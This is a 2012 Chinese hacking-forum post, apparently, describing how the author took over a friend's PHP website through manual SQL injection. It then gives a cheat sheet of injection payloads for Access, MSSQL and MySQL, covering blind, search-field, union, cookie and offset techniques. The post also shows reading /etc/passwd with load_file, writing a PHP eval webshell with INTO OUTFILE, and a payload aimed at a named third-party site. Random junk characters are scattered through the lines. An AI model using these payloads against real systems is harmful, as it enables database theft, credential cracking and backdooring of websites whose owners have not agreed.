找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2981|回复: 2
打印 上一主题 下一主题

手工注入拿下一站

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:47:22 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
! F% m5 w6 ?. ?% D' S/ S让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
, `9 R+ _9 y( L6 K5 e) e# i我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
* |- w% ^* |# ^如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
5 A9 I/ r$ E( _1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)' }! N; g5 D' t. K: K5 j) d
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:5 ?! i/ q! y$ `2 {$ ~$ J, a4 l) i! U
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
7 d" A' Z6 u6 d/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入2 R! H6 J) Y0 l' |0 _& X* ], U
                         9 V3 B) T" _: |4 B  _5 H, y) o
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,2 A8 f- i# g! W3 ]5 D
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意2 h+ J" L7 V* j- F4 n$ b2 v
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
$ R; K- @3 X+ K. z8 A3 X8 ^5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。, R3 ~- L# o. \2 y3 V
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,2 q1 V9 f3 ?+ l; B: d
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
7 D# a$ Z: _" J$ p+ r- e我就用的是第二个思路,
2 E! F+ m, T5 q4 m提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  
' X' ]3 p, S# D; g6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,- M. I( b. Q, L9 i+ |9 L
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--( u' a! e. Y1 x& ]& [$ C* \: b
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。- G, v# O2 j; L" I$ K
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
* T0 e8 g6 l% P是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
* c. y. A/ a( q1 i2 I提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --: R2 v( R, L! M2 e1 Z
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
3 _- v0 m9 ]! F0 o5 _调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......; t, h; W0 b" \
下面是一些很普遍注入方式资料:; T$ ?% U8 B: C9 Q* V
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='4 A/ x4 V' \3 c; S
拆半法
* Z( ^% q: X' }######################################
( m& w9 J' l. ^  Tand exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
5 s( I3 Z  z  d+ q' A/ k% e& uand exists (select * from admin)
0 e# D5 c6 h& qand exists(select id from admin)
+ b+ q8 W: s# R# q8 T4 K4 d, p! gand exists(select id from admin where id=1)1 T: u* j4 H' E1 P, _% x. k3 V& M
and exists(select id from admin where id>1)
# l6 W7 T1 J' n, ]- X然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
) _9 y. t8 i6 x3 oand exists (select username from admin)
3 f! ]# G6 d# u# i. Land exists (select password from admin)
7 N6 L/ [. g2 B* {and exists (select id from admin where len(username)<10 and id=1)
' O( n: g/ z6 b) xand exists (select id from admin where len(username)>5 and id=1)
, ?6 t' y9 g1 W5 t' s! A; ?- |% Jand exists (select id from admin where len(username)=6 and id=1)
# `: E. Z0 r, Z  W3 m3 s; z9 Yand exists (select id from admin where len(password)<10 and id=1)
( ~; ?9 `; F8 z5 Z" S, Nand exists (select id from admin where len(password)>5 and id=1)  b6 z: w$ T) l2 b
and exists (select id from admin where len(password)=7 and id=1)
- U3 I5 e8 t  o/ _: }and (select top 1 asc(mid(username,1,1)) from admin)=97
0 u% q8 D+ C; L5 l0 l返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。+ i$ ~# f% h8 r: m& E
猜第二位把username,1,1改成username,2,1就可以了。
' D$ m  _+ B- T: l3 `8 x猜密码把username改成password就OK了/ ?8 L' U: Z. {7 p7 p$ S' T
##################################################. c6 s; ~: u) {9 e# v, @3 L
搜索型注入, m3 M  l" M: `" b+ P
##################################
. ?6 A/ J, B2 ~/ m  P%' and 1=1 and '%'='+ z# K/ A8 i& \# z0 I
%' and exists (select * from admin) and '%'='
/ J8 }. f2 K) c  E6 o%' and exists(select id from admin where id=1) and '%'='5 p7 f5 R) n4 c# i& p9 g2 y; s
%' and exists (select id from admin where len(username)<10 and id=1) and '%'=') R( v' ^- E4 x
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
( i1 E) x# m" l%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
6 h; d$ |0 H; p. A; U这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
4 H0 S4 V# h0 I) E! v对于MSSQL数据库,后面可以吧 and '%'='换成--; s8 I" l& g1 Q4 d5 J% w" k0 N
还有一点搜索型注入也可以使用union语句。$ `7 @" O3 R. d
########################################################
5 N! n* X7 ]3 H( O联合查询。6 I1 t* s! V, }# @
#####################################' g+ r1 T7 Z9 N# L
order by 10
2 ?2 T  A0 l% R( D# J9 m( W" q( Eand 1=2 union select 1,2,3,4,5,6,7,8,9,10
/ B+ c6 q5 K) ~* Y; pand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
) i* {( X5 ^7 T& A0 r' ^+ b4 c+ yand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1$ U# V7 ^! c8 V# i
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
  K" n3 g8 r6 o# I# n+ }2 Z' b###################################1 u! u$ q* _% u1 ?: h* M# V+ i
cookie注入. k1 G( d( a0 g- ]
###############################9 ]. ?" t4 Q  }" E, V" `! l
http://www.******.com/shownews.asp?id=127
/ z6 S7 m( A! C8 m. m5 `7 Q; Uhttp://www.******.com/shownews.asp
, Q. \) ~  [5 i. Halert(="id="+escape("127"));
* M0 l8 X! p6 f; d' valert(="id="+escape("127 and 1=1"));& n0 _8 w) w0 ^6 \& |" @1 }
alert(="id="+escape("127 order by 10"));
" T. l; V; h7 `alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
0 k+ \2 b6 M0 Kalert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));  I8 Q/ U0 u; E7 P- a& g* M# Q
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。' ~" z+ f! E' m+ G2 S
###################################* c1 u% G" @( r! N  t) E. ]
偏移注入
) d" w4 ^- i! j2 E$ q) `% u9 L: @: t###########################################################
- w! x$ F6 O( E- x, Dunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin9 [. ]! k2 |+ x) \
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
* k/ C8 K7 `8 [, Z4 |; p' s& [union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)2 k: g/ B% m9 J% `! A4 B
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
: v$ [9 [& d( W9 X: {! tunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)3 B! q8 g3 T! v+ F
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
( J1 N2 c* R& t( }union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on* Y( v! \: R! H. }8 ?0 Q
a.id=d.id), P* z# Y( N* C7 B
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)1 |; u- z6 a! b0 K6 S3 _- U9 L
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) 2 i6 g  s/ k4 T( S
  
' [- ~, h5 A0 c% m% p============================================================================================================+ Z' R* y5 u5 g* A
1.判断版本* l. Q. G7 Q2 M, x! [  D
and ord(mid(version(),1,1))>51" x5 D$ P9 q( L5 t5 S' K. j
返回正常,说明大于4.0版本,支持ounion查询
4 {3 q0 ^6 I. W0 G3 k8 R2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解) m  \  l4 ~  W. Z- ]
and 2=4 union select 1,2,3,4,5,6,7,8,9--, l$ Y' }9 Y- D: s* [
3.查看数据库版本及当前用户,
# X2 F/ \* j$ r# t& kand 2=4 union select 1,user(),version(),4,5,6,7,8,9--7 H" b; J3 N( R2 W( H. S
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,& m0 p+ L1 v4 }7 d2 n
4.判断有没有写权限! k6 q: q! B7 e
and (select count(*) from MySQL.user)>0-- 6 u. P1 W/ _: h! J5 Q! L
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1  y8 U/ v5 Q. V' r
用不了这个命令,就学习土耳其黑客手法,如下0 e5 m0 s1 m2 c, l. g
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
+ B5 r- j; [8 c2 c! Z! E9 v6.爆表,爆库
7 |0 A8 x, s. gand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--1 S, Y$ J! [$ H9 M9 m
7.爆列名,爆表( ]  t0 h; G: I3 }( x1 |
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--* o: W+ n# W$ }) w3 A( Q
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。  f# O3 h9 ]7 R; F6 ^/ E1 R
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--3 v. \* d1 J! M) T3 i5 [
9.爆字段内容
+ {9 b! r- b- X" ~' t+ @+ gand+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--' p) T) `; P/ N; E" a( e( L2 s
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
回复

使用道具 举报

沙发
发表于 2012-9-24 21:40:46 | 只看该作者
非常好的归纳。坐下慢慢看~
回复 支持 反对

使用道具 举报

板凳
发表于 2012-9-25 18:53:39 | 只看该作者
谢谢分享,学习思路啊
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表